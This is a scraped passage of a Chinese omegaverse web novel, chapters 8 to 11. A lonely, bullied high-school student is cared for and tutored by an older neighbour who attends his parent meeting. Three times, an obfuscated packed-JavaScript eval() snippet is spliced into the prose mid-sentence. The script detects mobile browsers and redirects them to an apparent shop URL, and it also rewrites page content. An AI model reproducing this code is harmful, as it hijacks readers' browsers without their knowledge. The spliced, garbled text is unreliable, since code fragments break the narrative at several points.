夏期觉得自己好像突然喝醉了一样,轻飘飘,头重脚轻。宋清远问了下他家长会具体的时间,夏期晕晕地答了,关上门后摸着滚烫的脸,才发现自己嘴角竟然有没来得及撤下的傻笑。 因心情实在太好,这一晚夏期听电台里的苦情音乐都像喜乐,做作业和背单词的进度反而比平时要慢了些。 翌日起来的也比平时早了十几分钟。 夏期茫然地躺着,怀疑昨天宋清远过来的事情是自己做的一场梦,他掐一掐的手心,是疼的,才安心下来,起床用小冰箱里宋清远带来的食材给自己做了一顿饭。 冰箱很满,夏期犹豫着不敢用太多食材。怕用光以后就没有了。怕自己万一习惯了,宋清远却回了淮流该怎么办。 他纠结了一会,咬一咬牙还是给自己做了顿丰盛的早餐,摆了又摆,挪动来挪动去,给宋清远拍了个照发过去,告诉他自己有在接受他的帮助。 宋清远没回,许是时间太早,还没睡醒。 一整个上午,夏期的情绪都很高涨,甚至有种想把已经关机的手机从包里拿出来看看宋清远有没有回消息的冲动。 夏期不敢表现得太明显,怕被人看到,怕又被说奇怪、得意。好在下午第一节课,老师下发了一张模拟试卷,说是要在周日的家长会上公布成绩。 本是数学和英语课,现在因考试变成连在一起的考试课,加上课间有足足一百分钟,对夏期来说仍不太够用,紧赶慢赶还是剩下了大题没来得及答。 考试结束以后同学们都说这次的试题有些难,在教室后面把几张桌拼在一起对答案。夏期听了一会儿,心焦地发现有几道自己拿不准答案的题目都做错了。 不过哥哥会来家长会。 8. 第 8 章 第8章 第二天去上学的时候,夏期给自己带了一盒芒果班戟。 这盒芒果班戟被放在老冰箱的深层,被其他食物挡住,要不是宋清远的提醒,夏期都没有发现它的存在。宋清远本是让他丢掉,夏期没有舍得。 班上的同学有几名是不吃食堂的,爸爸妈妈给带饭,一打开保温饭盒,教室里都是香味。 夏期不想太醒目,坐在防火门旁边的楼梯上,小心地从塑料袋里捧出那盒班戟。此时他心里的感觉很奇妙,就好像面前这盒散发着香甜气息的甜品是一把伞,一顶蚊帐,用味道将他笼罩在了其中。 夏期用勺子切割了一小块,小心地放到口中。 真的很甜,也很柔软。 只是数量太多,甜蜜竟化作负担,夏期分成几次,总算将班戟全塞到肚子里,连呼吸都染上了奶油的味道。 回到班里时,大多数同学也已经吃完饭回来。夏期坐下时才发现自己的椅子上有颗网球,他吓了一跳,罗嘉伟拿走:“我的。” 又抽一抽鼻子:“什么味道?怎么这么甜?夏期你不会分化了吧?” 夏期说:“……我吃了甜品。” “甜品?”罗嘉伟狐疑地问,“你哪里买的?” 他刚刚应该还去打球了,夏期知道班上的男孩子们有时会和外班的几个人在中午打球,就算雨下得很大都要去运动。 罗嘉伟身上散发着运动后与雨水混合在一起的湿润热气,几乎冲淡夏期鼻腔里奶油的味道。 罗嘉伟追问不停:“补助金不是还没下来吗?你昨天放学去买的?不会是宋清远给你买的吧?” 夏期本来是在给自动铅笔换笔芯,听到宋清远名字的时候,笔芯撞在笔头上,碎成了好几截。 夏期用手指去捡,听到罗嘉伟很用力地呼出一口气:“不是告诉你离他远点吗!” 夏期捏着那半截断掉的笔芯,觉得自己的心脏正在很用力地鼓动着。他很用力地说:“清远哥的病不会传染的。” 他以为自己的声音很大,但说出口,也就是够罗嘉伟能听清的程度。罗嘉伟似乎抓了抓后脑勺的头发,因为夏期听到手指和头发摩挲的沙沙声。 下课的时候罗嘉伟拍了拍他的椅背,夏期下意识以为他要出去,把椅子往前挪了挪。 罗嘉伟把一个什么东西丢到他桌上:“送你了。” 是块糖。硬质的糖纸一捏上去就哗啦啦地响。 夏期想笑。罗嘉伟总是这样,像用树枝戳猫的小孩子,看他的牙齿,给他一块糖,一时凶恶一时认错,好似只是在观察他的反应。 高二时夏期刚和他成为同桌,因罗嘉伟的巴掌和甜枣不知所措,偷偷问他是不是想和自己交朋友,却被对方嘲笑了好久。 不只是罗嘉伟,还有班上其他的一些人。今天会帮他擦黑板,明天就要不耐烦地推他的后背让他走快点。外婆其实也是这样,好似夏期只是他们养的一只宠物,大家开心的时候夏期就该开心,厌烦的时候夏期就该主动走得远远的不去惹他们心烦。 下午连带晚自习也是考试,看得出老师是想在周末的家长会上公布成绩。夏期不敢怠慢,仔细作答,只是时间总是不够用,他总不能及时完成试卷。 试卷交上去就可以放学,夏期是班里最后一个交卷的人。他犹豫了一下,对班主任说:“老师,家长会我、我有一个认识的哥哥,可以让他来开吗?” 班主任数着试卷,说:“行啊。” 今天回家路上的电台是印尼歌曲合集,琴声和笛声奏出欢快的曲调,和雨声混合在一起,令人平静。 天气太闷了,夏期接了一桶水不断擦洗身体,不想吃饭,连作业都不想写,只想睡觉。 不过还是强撑着去做了个饭。摆一摆,拍照,发给清远哥。 宋清远回他的语音里,“期期真棒”和细弱的水流声混合在一起。 宋清远说他在浇花。 夏期知道宋清远很喜欢花草。 之前清远哥住在他隔壁的握手楼的时候,他翻窗过去,屋里郁郁葱葱,花草交错。夏期那时刚学会了新词,学以致用地说:“哥哥你房间里的信息素好香呀。” 宋清远正在喝水,闻言呛了一下:“我还没分化呢。” 夏期问:“只有分化才能有香味吗?” “也可能不是香味。我最近读到一篇论文,alpha或omega的信息素可能和人的性格及喜好有强相关。”宋清远拎着水壶给一盆开得格外茂密的白色小花浇水,说:“就像有人分化成了臭豆腐味。” 夏期是第一次听说这个食物,他没吃过,但知道因天热而腐烂的豆制品是什么味道,呀了一声,笑着扑到宋清远的后背上。 宋清远一手拿着水壶,另一只手向后托住夏期的腿弯,站起来后把他往上颠了下:“所以哥哥现在很忧愁,万一我分化成a或o,是甜食的味道或花朵的味道怎么办?” 夏期说:“那很好呀。” 宋清远说:“不好。会招虫子的。” 那、那倒也是……夏期便跟着宋清远一起陷入沉思。 过了一会后宋清远深沉地叫他的名字:“期期呀。” “嗯?” 宋清远说:“那你分化成蚊香的味道好不好。帮哥哥驱虫。” 夏期又呀了一声,使劲用额头顶宋清远的脸:“哥哥你明明知道我讨厌蚊香的味道!” 宋清远憋着笑捏他的脸。 现在想来,那时候宋清远还是对分化一事有所憧憬。按照夏期那时的想象,宋清远就该是一个浑身散发着花草香气的alpha。 夏期的手指在屏幕上点了又点,想问问宋清远得了信息素基因感统失调后是不是真的很疼,但最终还是把打好的字又删掉了。 反倒是宋清远突然打了个视频电话过来。 夏期被吓了一跳,手机险些被他掉到地上,手忙脚乱的接起:“哥、哥哥?” “气色是比之前好了。”宋清远说。 原来是打电话来检查的。 夏期说:“我感觉自己的脸好像比之前圆了一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496789|202552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。多亏了哥哥你送给我的食物。” 宋清远被逗笑:“不会有那么快吧?” “真的。”为了证明自己,夏期把脸凑近屏幕,给宋清远瞧自己的脸颊:“是不是圆了?” 实则夏期根本就没对准屏幕,宋清远的屏幕上显示的夏期的鬓角连带下颌。看起来刚洗过澡,湿淋淋的黑发,发梢还在向下滴水。 宋清远说:“等下记得把头发擦干再去睡。还有,东西吃得差不多了的时候记得告诉我,我再给你送些过去。” 天呐。宋清远简直是一个菩萨。夏期几乎有想给他鞠躬然后跪在蒲团上跪拜他的冲动。 宋清远笑起来,又和夏期确认了一下家长会的时间。 夏期犹豫着说:“哥哥……” 宋清远嗯了声。 “我们,这几天,老师在考试……”夏期的声音越来越小:“可能会在家长会上公布成绩……” 宋清远立刻懂了:“你没考好?” “也不是,”夏期说,“有的科目比平时好一点,有的差一点……” 宋清远说:“知道了。” 伴随着他说话的声音,还有几声叮叮咚咚的音乐。夏期问:“是钢琴吗?清远哥你在弹钢琴?” 宋清远说:“嗯。还是那架老钢琴,都走音了,上面还有期期你之前贴的贴纸。” 他问:“你现在还喜欢吗?那种往光屁股小人上贴裙子和裤子的书?” 夏期很震惊:“屁、屁股。”他开始真的怀疑现在是不是自己在做梦了,不然他怎么会从清远哥口中听到这个词语。 宋清远叹了口气,似是喃喃自语地说:“为什么每个人都觉得我不该说这个词?” “可能,可能是因为哥哥你,”夏期说,“因为你是很厉害很成熟的大人。” 多大的人也得长屁股啊。这话宋清远没说,因为夏期顿了顿,又补充道:“我也想变成哥哥你这样的大人。” 宋清远又笑起来。 挂断了和宋清远的通话后,夏期又去冲了一遍身体。微凉的水总算让燥热的身体平静下来。 夏期仔细把自己的头发擦干,脑海里像是在复盘一样,不断地回味着自己和宋清远的对话,一问一答,像音乐一般回荡在脑海。 然后夏期想到宋清远发的那条朋友圈。 “本人于四月十日休假至暑期,期间工作交由孙老师处理。” 他看起来不会在南城久留。暑期他就要回去了吗?是暑期放假前还是放假后? 清远哥是成熟的大人,走出的每一步路,做出的每一个决定,都坚定不茫然。但夏期不是。未来得及擦干的水珠冷飕飕地攀附在他的皮肤上,让如一株没有附着物的巢蕨般产生了恐慌。 这种心情并不健康。 为了转换心情,夏期从包里翻出来作业。物理题目令他眼花缭乱,写着写着夏期又拿过一旁的草稿本。 他翻到最新的一页,写。 高考后想做的事情 1. 想试试弹钢琴 9. 第 9 章 第9章 周六晚,宋清远陪老爷子吃了顿晚饭。 今晚本该是他二姐来陪,但二姐易感期提前,正窝在房间里筑巢。便由宋清远这个替补上场。 他二姐体质特殊,信息素浓郁又霸道,极易失控。每次抑制剂、抑制贴与止咬器轮番上阵,大家都生怕她伤到人。老宅里的一些omega佣人受到信息素的影响,站都站不稳,被管家紧急赶去放假。宋清远嗅一嗅空气,除了雨水与花草的味道,什么都感觉不到。宋清远有时会觉得自己的病好处比坏处多。 老爷子瞧不出正在被疾病缠身,精神矍铄,只是枯瘦。他与宋清远说他的梦境:“爸妈站在那,还有你奶奶。我好似又变成了小孩,变成了年轻人。比你还有风采。我不怕死的,他们在那边。” 老爷子年轻时雷厉风行,不近人情到出名,竟也能说出如此诗意的话语。 他问宋清远:“还记得你奶奶吗?” 宋清远说:“她对我很好。” “还给了你一封遗书。”老爷子说:“连我都不知道写了什么。”说完哼一声,以示自己的不满。 宋清远笑笑,拿起一杯水喝下去,下巴微抬,脖子上两颗浅色痣分别在喉结一左一右,一上一下。 他问:“要念书吗?” 老爷子嗯一声。 宋清远拿过倒扣在旁边的诗集,取出眼镜戴上。老爷子在他和缓的声音中闭上眼准备入睡。 老爷子壮年时对这些不屑一顾,老年了倒是文雅起来,古今中外的字画、诗集、艺术品,高价也要拍下。 宋清远掀起眼看一眼老爷子,试探性地把未知改为文艺复兴,把光阴改为水饺,双眼改为双臀。 老爷子没觉察不对,不一会便发出代表熟睡的轻鼾。 宋清远放下书,轻手轻脚地出了房门,对守在门口的管家点一点头,去衣房拿回了已经洗好的衣物。 第二日他惯性早起。 无事可做的阳痿的早上只有在厨房折腾早餐。 宋清远大多数时间一日二餐,因此对每日的第一餐格外用心。力求色香俱全,至于味——味淡即可。 一夜过去手机里的未读消息又红彤彤一片。置顶的几个群聊都是教务群和班级群,年级主任下发了这次暑期外出进修的名单,里面本该有他,因他人在老家无奈退出,颇有些可惜。 置顶的联系人倒只有一个人给他发了消息,是夏期发来的早上好,连文字都透着胆怯。宋清远回了条语音过去问好。 早餐后他开始浏览资讯,将一些比赛项目转发到班群,鼓励大家踊跃参与。发完后有人私聊他:宋老师我好想你啊/心/哭/哭。出于教师资格证的审判,宋清远谨慎地回了个很有性收缩力的大拇指与呲牙笑表情。 中午时宋清远便准备出门了。作为夏期的哥哥开家长会。 出门前他又整理了一下衣物。喷了些制剂喷雾上去,以抵消也许会沾在布料上的信息素。 学校不远不近,宋清远开车过去,一路慢吞吞,等到了学校,时间正好。 他找到夏期的班级,班主任已经提前在每个学生的座位上放上姓名牌。夏期就在第一排,讲台下面,名牌上的名字写得很大,生怕他找不到一样。同桌就是那个叫罗嘉伟的男生。 夏期的桌面与罗嘉伟的有很鲜明的对比——罗嘉伟的桌面很乱,杂物许多,桌布干净;夏期桌面只摆着几本书,罗列整齐,桌布却全是笔迹。 字迹来自不同的人,用词市侩不似学生,红、黑、蓝,不同颜色的字叠着字。 宋清远知道这是什么。是学生们排异的手段。他上学的时候也遭到过这些招数。 桌布泛白,字也跟着泛白,都是洗过后陈旧的迹象,能看出并无新字写上去,许是被某一个老师发现后制止了。 排异从桌布上消失了,也许变作了其他手段。毕竟宋清远见过夏期刚放学时的模样。头如沉甸甸的向日葵般垂下,身体在雨中几近消融。那时他以为夏期哭了,夏期却对他十分灿然地笑了一下。 有些学生也随着家长来了,平时属于他们的教室此时反而成了禁地。挤在教室后门探头探脑地看。目光越过宋清远的时候眼神顿住,嘴角一点点向上咧,露出白牙齿和鲜红的舌头。接着几颗头凑到一起,宋清远不难猜出他们的讨论中会出现自己的名字。 宋清远回过头,视线放在桌面的几张试卷上。 高中的知识他记得还算牢固。他简单翻看了一下,夏期的成绩算是中等,如改正一些错误、再把那些来不及写完的题目补上,还可以有很大的进步空间。 再等一会,家长陆续进场。即便宋清远已有八年未曾回来,但南城实在太小,屋内有一半左右的脸庞他都是眼熟或认识的。 他们也同样认识宋清远,互相看看,情绪倒是隐藏得要比青少年好上不少。宋清远对他们笑笑,家长们也对他尴尬一笑。 班主任踩着时间进来,宋清远感觉不到信息素,只能通过对方没带颈环和中等的体型来判断对方是一个beta。 其实一般的班主任都是由没有易感期和发情期的beta任职。他恰巧也能在大学里带班,也是因为同个原因。 他的同行还很年轻,但为了压制家长,穿了一条很显成熟的连衣裙,带了一只黑框眼镜。宋清远也有同样的装备,为了让人信得过自己,专门有几套老款式的西装和眼镜,不过他的眼镜是银丝细边框,还会在外出进修调研的时候专门带一只保温杯带枸杞水。 同行在讲台上清清嗓子,讲起这次家长会的内容。从每个学生的课上表现到考试最后两个月如何冲刺,还发下来一本报考用的手册。 班主任教家长如何翻看手册,反而引出了更多的问题。家长们如雏鸟一般,“老师”“老师”地大张着嘴巴提问,问题乍一听起来不同,实则全部都是刚刚教过与回答过的。窗外的雨更大了一些,好似也把大脑冲刷干净。 还好自己当初没去当高中老师。宋清远在心里为焦头烂额的同行叹了口气。 宋清远翻看着手册,真的开始帮夏期挑选适合他的学校,在每一个他觉得不错的学校前打一个对勾。 家长会共开了三个小时。 结束后大半的家长将讲台和老师围住,小半的还在自家孩子的座位上。罗嘉伟的家长是个带着妆容的女人,利落又熟稔地帮罗嘉伟整理了一下乱七八糟的书桌表面与抽屉。 夏期倒是把自己整理得很好,不需要他来帮忙。 宋清远随手拿起最上面的物理书翻了两页,一张夹在其中的草稿纸滑出半截。 纸上的内容杂乱,各种计算条目,显得上方几行中文格外显眼—— 高考后想做的事情 1.想试试弹钢琴 2.冬天看雪 3.看电影 4.(被涂成黑色的方块) 坐回到车上后宋清远叹了口气。 霸凌该如何应对? 这个议题他想过许多遍,不论是当老师还是当学生的时候。他也帮学生处理过类似的问题。不过就像他之前说的,所有人都是一样的,只有夏期叫他哥哥。 如果是他大学认识至今那位朋友,估计会让对方跪在地上满地找带血的牙齿。他当年的手段就较为无耻了,他不是以体力见长的类型,就找了件口袋很多的外套,口袋里用胶水固定好图钉,谁来碰他都得先滋一道血喷泉。 夏期和他与好友都不同。何况还是在高考在即的关头。 他总不能给夏期雇两个保镖……不能吗? 宋清远把车子开到南城最大的商超,重新买了一批果蔬,再去拿自己预约好的甜品。一同忙碌,直接把车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496790|202552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开到夏期家楼下。 路上他已经和夏期打过招呼,他上楼时,就已经听到屋内有脚步声在朝门口靠拢。等他踏上最后一级台阶,夏期已经将门开了一条小缝:“哥哥?” 宋清远嗯:“是我。” 那条小缝彻底敞开。夏期欣喜地站在门口。 宋清远揉一揉他的头顶,带着水汽,不知是附着上去的雨气还是刚刚又洗过了头发。 夏期问:“家长会……怎么样?老师说了什么吗?” “讲了一下档案和升学的事项。有些杂乱,我做了笔记,等下详细说。” 宋清远朝冰箱走:“先让我把这些东西收拾好。” 夏期啊了声:“哥哥你又……又给我买东西。” 他几乎难以承受宋清远的好意,低着头,眼眶涨涩。宋清远把那盒巧克力冰激凌蛋糕递给他:“去吃。” 夏期捧着那盒蛋糕,小尾巴一样站在他身后,被宋清远催了两次后才慢吞吞地离开。 宋清远将冰箱里不新鲜的蔬果全部丢掉,换上了新鲜的一批。来到餐厅时,夏期正对着那块冰激凌蛋糕发呆。蛋糕的透明盖子已经被打开了,但蛋糕仍然完整。 宋清远催他,夏期才叉起一块放到嘴巴里,顿时被冰得无措:“怎么、怎么这么凉。” “好吃吗?” “好冰……”夏期五官都挤成一团,看起来不像是在吃凉的食物,反倒更像是在吃烫或辣的东西。 宋清远让夏期张开嘴巴,看看他的舌头和牙齿,都没问题。判断应该只是太久没吃过凉食导致。 他趁着夏期吃饭的时候将家长会的要点简单总结了一下,又问:“期期你想考哪所学校?” 夏期含着冰激凌的动作顿了顿,小声说:“Y大。” “那有点难。”宋清远说。 “……”尽管早就知道结果,夏期还是有一瞬的失落。 他想了想,又说:“其实不是Y大也可以……我就是想去远一点的城市看看。” 最好是淮流的——这句话夏期没说出口。 宋清远说:“但不是没有可能。你先把答题速度练上来,把所有题都答完,我再教你几招,你可以走个没那么热门的专业。” 惊喜来得突然。夏期抬起头朝向宋清远的方向。宋清远说:“等下你吃完先把没答的题都答完,我看看你到底能拿多少分。” 夏期用力地点一下头。 冰激凌蛋糕剩了大半块,夏期怎么都吃不下。宋清远便让他直接去写卷子。 在宋清远来以前夏期就在写作业,笔本不用再拿出来可以直接用。不过和写作业甚至考试时的心情都不同,夏期现在甚至要更紧张。 狭窄的客厅里不时传出宋清远走路和厨具或是别的什么东西碰撞的声音。这让夏期感觉房子里的一些老物件突然变得很新。夏期很想知道宋清远在做什么,犹豫着要不要起身去看看,宋清远的声音从外面飘进来:“别走神!” ……背后长眼睛了吗?夏期噢了声,赶紧低头,认认真真不敢再走神。 宋清远让他不要在意时间,只管把所有题目都答完。等完成时已经过去了不知道多久。夏期怀抱着惭愧把自己写好的试卷递到宋清远手中。 宋清远接过去,哗啦啦地翻看了一会,突然笑了一下:“好像是长肉了一点。” “啊?噢。”夏期反应了一下才意识到宋清远是在说自己,他摸摸自己的脸:“最近我都吃得很多。” 他怕辜负清远哥的好意,这一周来每天都很用力地进食,虽然味道差强人意,但久违的饱腹感令夏期真的觉得很幸福,每天晚餐后小腹都是鼓起的。 宋清远有种想捏一下夏期腕骨进行测量的冲动,不过就在一秒钟之后,这个不合时宜的冲动成功被他忍下来了。他展开试卷,去看夏期的答案。 10. 第 10 章 第10章 开始看试卷以前,宋清远像是变戏法一样给了夏期一杯热牛奶。 夏期捧着杯子小口抿着,心里数着时间。等到一杯牛奶都被他喝完,宋清远还在看试卷。 夏期的心情从一开始的紧张到心脏快从喉咙里跳出来,到现在的怀疑宋清远会不会其实不知道答案。 不过当宋清远哗啦地抖了一下试卷的时候,夏期还是下意识地挺直脊背。 不知道为什么,他觉得现在的宋清远对他来说比起兄长更像是一名令人敬重的老师。 宋清远说:“数学的基本功挺好的。就是有些公式不会用,一些地方绕弯太多了。英语单词量也还可以,等下我教你几句漂亮套话,你用在作文里,保证拿分。” 宋清远说这话的时候,在夏期心中几乎明亮到拥有圣光,他不自觉地把双手的手掌对在一起了。真的像是在朝宋清远膜拜一样。 宋清远:“……” 他示意夏期把手松开。 按照夏期的目标和现在的成绩,给夏期补习不算简单的工作。宋清远简单地做了个规划:“这个月到五月初,每天我过来一趟。等你五月放假后……算了,那时候我还不确定有什么要忙的,到时候再说。” 每天都过来……会不会太辛苦了? 夏期听到宋清远问自己:“怎么了?” 夏期茫然。 宋清远说:“手。” 夏期才意识到原来他的右手已经不知道什么时候向着宋清远的方向伸过去了。 这个动作让夏期意识到自己其实很想拥抱一下宋清远。像他小时候那样子。 但他现在也长大了,宋清远也是个成熟的大人了。于是夏期说:“哥哥……我能和你握一下手吗……” 宋清远没回答,似是衡量了一下后,伸手握住夏期的手。 宋清远的手很凉,也很大,很硬。几乎能够把夏期的手掌完全包裹住。夏期的四指搭在宋清远的手背上,能感觉到宋清远的筋脉。 夏期一瞬间有种用力捏一下清远哥手的冲动,不过他忍住了。这个握手持续了一会后,夏期主动收回了手。他问:“哥哥你现在有多高啊?” “一米又八十五点二厘米。”宋清远很严谨报出一个数字。 比他高了近十厘米啊……不知道自己还会不会继续长高……应该会的吧……夏期不无羡慕地想。 宋清远再抖了下试卷:“好了,时间紧迫。闲聊到此为止。” 夏期立刻又变得毕恭毕敬起来。 他的书桌实在太小,宋清远就坐在桌的侧面给他讲题。夏期知道宋清远肯定不会很舒服,因为不管他怎么蜷缩,两人的腿都会在桌下打架。 夏期又把腿往自己的方向收了收,宋清远说:“没事。专心。” 夏期就不动了。 当宋清远的学生也许真的会很幸福。他讲题时口齿和思路都很清晰,也会注意到夏期的状态,每当夏期开始跟不上的时候,他就会放慢速度。 最让夏期佩服的是宋清远教了他几个关于选择题的小技巧。只要按照这个方法来,准确率可以高达惊人的百分之九十。夏期试验了一下,觉得自己以后估分可以多给自己加十分。 宋清远说:“其实这些小技巧都挺常见的。我当时琢磨出来,还以为自己肯定是天才。等上了大学一问才知道,原来大家都是这样做的。” 南城的交通是闭塞的,人情也是,就连教育也被困在这个热气腾腾的小笼里。宋清远知道夏期为什么想考出去,这是最便捷的一条路径。 宋清远走前给夏期做好了晚饭,又给夏期留了背诵作业:“明天我会检查。” 夏期认真道:“好的哥哥。” 宋清远摸摸他的头。 夏期背诵的能力其实还不错,至少比起书写速度来要好上不少。晚上他把宋清远留给他的题目背好,还额外背了五十个单词。 C开头的单词实在有很多,背到后期夏期几乎眼花缭乱,现在他终于可以向D开头的单词进发。 dessert,decide,determine…… 背着背着就头晕眼花地睡过去,再被雨声吵醒。 房间里不如睡前那么燥热,温热的空气中偶尔会飘过一次带着雨气的清凉。可能是因为着凉或是什么,夏期有种自己即将感冒发热的错觉。 家里还剩了一包去年还是什么时候的感冒颗粒,夏期吞下去就水咽了,第二天早再从梦里醒来后,那不舒服的感觉就消失了。 今天罕见有风。 若是平时这样的天气,舒适凉爽,同学们一定兴致高涨。可一整天下来,班级里死寂沉沉,班主任都忍不住笑着调侃:“早知道开家长会这样有用,能把你们都变老实,我就应该每周都召开一次家长会。” 收获了同学的一片哀嚎。 晚间轮到夏期值日。 他在小组里通常负责擦黑板。先用一块湿润抹布将黑板全部打湿,再拧干重新擦拭两遍,不管是多难擦的痕迹都会消失不见。各科老师都夸过夏期擦的黑板。 只是夏期个子不够高,黑板顶部要踩椅子才够得到。从椅子上下来的时候手肘不注意刮在金属托盘上,发出哗啦啦的巨响。 教室里有一瞬的安静,夏期忙笑:“抱歉。” “夏期。”有女生叫他的名字。 这是一种很奇怪的音调。只有发声人自己和夏期能听出来和这人的语调有什么不对。隐秘的,带着追问的,希望能得到什么的。 夏期回过头,女生靠近过来后,那份安静才终于被打破。同学们继续做着自己的事情。 女生问夏期:“你有没有喜欢的人?” 夏期愣愣。 女生又问:“没有?” 从来没有人为他解围,更没有人找他讨论过感情问题。女生是第一个。像是密友与密友之间的聊天,高一和高二的时候,夏期总能听到类似的话题——“你喜欢谁?”、“你觉得他帅不帅?”、“我们班里最漂亮的女生是谁?”、“谁最有可能分化成omega?” 只是摔倒了一下,就会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496791|202552||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 交到朋友吗?那他其实很愿意再摔倒一下的……夏期茫然中带着一丝受宠若惊。 夏期低声说:“没有。”又问:“你、你……呢?” 女生笑了一下,没回答夏期的问题,反而继续追问:“那你知不知道罗嘉伟喜欢什么样的人?” 夏期惊讶:“你喜欢罗嘉伟?” 他声音并不大,女生却尖叫着叫了一声夏期的名字:“夏期!” 有人问:“怎么了?” “……”女生含糊地说:“就是一些和分化有关的问题。” 还未分化的青春期孩子们总是对这类话题相当感兴趣。有人立刻用高亢的声调问:“怎么了?夏期终于要分化了?” 平常的时候,夏期只是一片透明的保鲜膜。 透明的、薄薄一片,谁都可以因为好玩而试探地用手指戳个窟窿。 但一聊到分化,夏期就万众瞩目了。 因他的年龄比班级里面所有学生都要大,按照常理,要分化也是他先。 立刻有人说:“夏期你转过去呗?我看看你的后颈有什么变化。” 还有人说:“先张开嘴巴。” 脚步声层层叠叠地像夏期靠近过来,如一只多足的巨兽在行走。夏期紧抿着唇,突然听到后门有人叫自己:“期期。” 食欲不振、嗜睡或失眠、体温异常、体重骤减、身体平衡性不稳、出现幻觉、暴躁易怒……等等。未分化的青春期少年只要同时出现三个及以上症状,即可判定为分化前兆。 夏期觉得自己也许真的要分化了。 不然他怎么会突然听到宋清远的声音? 他幻觉中的宋清远又说:“我就说在校门口等了你半天,怎么还没出来。原来是在和同学玩闹。” 不、不是幻觉。 是真的清远哥。 也许是见他呆在原地,宋清远又叫了一遍他的名字:“期期过来。” 夏期的脚几乎不受控制地朝宋清远的方向走了几步后,才想起自己连书包都忘记拿了。他又转回身,匆匆忙忙把书本塞进书包里,几乎是用撞的,把自己冲撞到宋清远身边,捏住宋清远西装衣角。 宋清远扶了他一下,从他手里接过书包:“走吧。” 他开了车来,车上打了冷风,干爽舒适。夏期坐进副驾驶,听到宋清远问自己:“冷?” 夏期才发现自己有点发抖。 “我,哥哥。我……”夏期翻来覆去地说,好半天才组织好语言:“哥哥你怎么来学校了?” 宋清远摸了摸夏期的头:“哥哥来应聘老师。” 夏期惊讶地张了张嘴:“真的?” 宋清远把冷风转成暖风,又从后座给夏期捞了张薄毯子递给他,等夏期把自己裹成一只球后才发动车子,笑:“假的。我是来接我家教的学生回家的。敬不敬业?记得五星好评。” 如果真的能为宋清远打分,他肯定不止要打五星,一百星二百星也不过分。 夏期感动又认真地说:“嗯!” 宋清远失笑。 11. 第 11 章 第11章 回家的路上宋清远接了两个电话。 第一个电话应该是他的家人打来的。问宋清远去哪里了。 宋清远说:“接孩子放学。” 对方语气不善地问你哪来的孩子。宋清远乐呵呵地说私生的。 夏期还不知道清远哥这样一本正经的大人也有胡诌的一面。 与此同时宋清远的话给了让夏期又一次产生了遐想——如果他真的是宋清远的亲弟弟就好了。 血浓于水的亲情,他可以一口一个哥哥地叫宋清远,就算宋清远去了很远的地方,他也可以每天给他打电话撒娇,就算他已经十八岁了,仍旧可以和宋清远拥抱,把脸枕在他的腿上睡觉。 这样想着,夏期的身体就渐渐不再发抖了。 宋清远注意到,将暖风关掉。 第二个电话是宋清远的学生打来。好像是在问某个比赛的相关事宜,宋清远帮其解答了疑问,又额外给这名学生推荐了另一个暑期大赛。 夏期抱着书包又想,其实做宋清远的学生也很不错。温柔的,妥帖的,有责任感的老师。当他的学生一定很幸福。 把到家后宋清远把夏期赶去洗澡。 等夏期从卫生间出来,宋清远变戏法一样拿出了碘酒与创可贴,帮夏期处理了一下手臂上的伤口。 空气里已漂浮着饭菜香。 宋清远竟连晚餐都已经做好。 蛋包饭,草莓牛奶,以及一大盘煎蔬菜。填进嘴巴里油香又粒粒分明。 “好吃吧?”宋清远问,听他的语气,显然对自己的厨艺很有自信。 夏期对他用力地点头,露出笑容。低头的时候又觉得眼眶有点酸。 他在心中计算了一下能否不动声色地抹掉眼泪,最终还是将眼泪和米饭一起咽回了肚子里。 吃过饭后宋清远让夏期先去写作业。 夏期听着他在外面走来走去,下了两次楼,还时不时发出一点碰撞声音,心里真的很好奇宋清远在做什么。 收拾卫生?可他家里的卫生情况再怎么样说也没那么堪忧吧?就连东西都很少,怎么可能有那么多需要清洁的地方……除非宋清远有很严重的洁癖。 宋清远的声音又一次从外面传来:“夏小期,专心!” 夏期忙说:“对不起。”再也没敢乱听。 不过还是很好奇的。等宋清远帮他补习的间隙,他问:“哥哥你刚刚在干嘛?” “给你做明天的早饭。”宋清远说,“还有简单调整了一下厨房的布局。” 宋清远走后夏期来到厨房。 他真的很好奇宋清远都调整了哪些布局。伸手摸摸这里,摸摸那里,才发现除了冰箱和灶台外几乎所有东西都换了个位置。 角落里多出了一台小推车,上面放着一些可以常温存放的食物;水池里多出了一个沥水架;台面上也多了收纳锅具的架子。 橱柜里也额外多了一些碗筷。 还有……这是? 夏期摸索研究了半天那方方正正的机器,茫然地不知道那究竟是什么。他犹豫着给宋清远发消息:“哥哥,厨房里那个很大很方的东西是什么?” 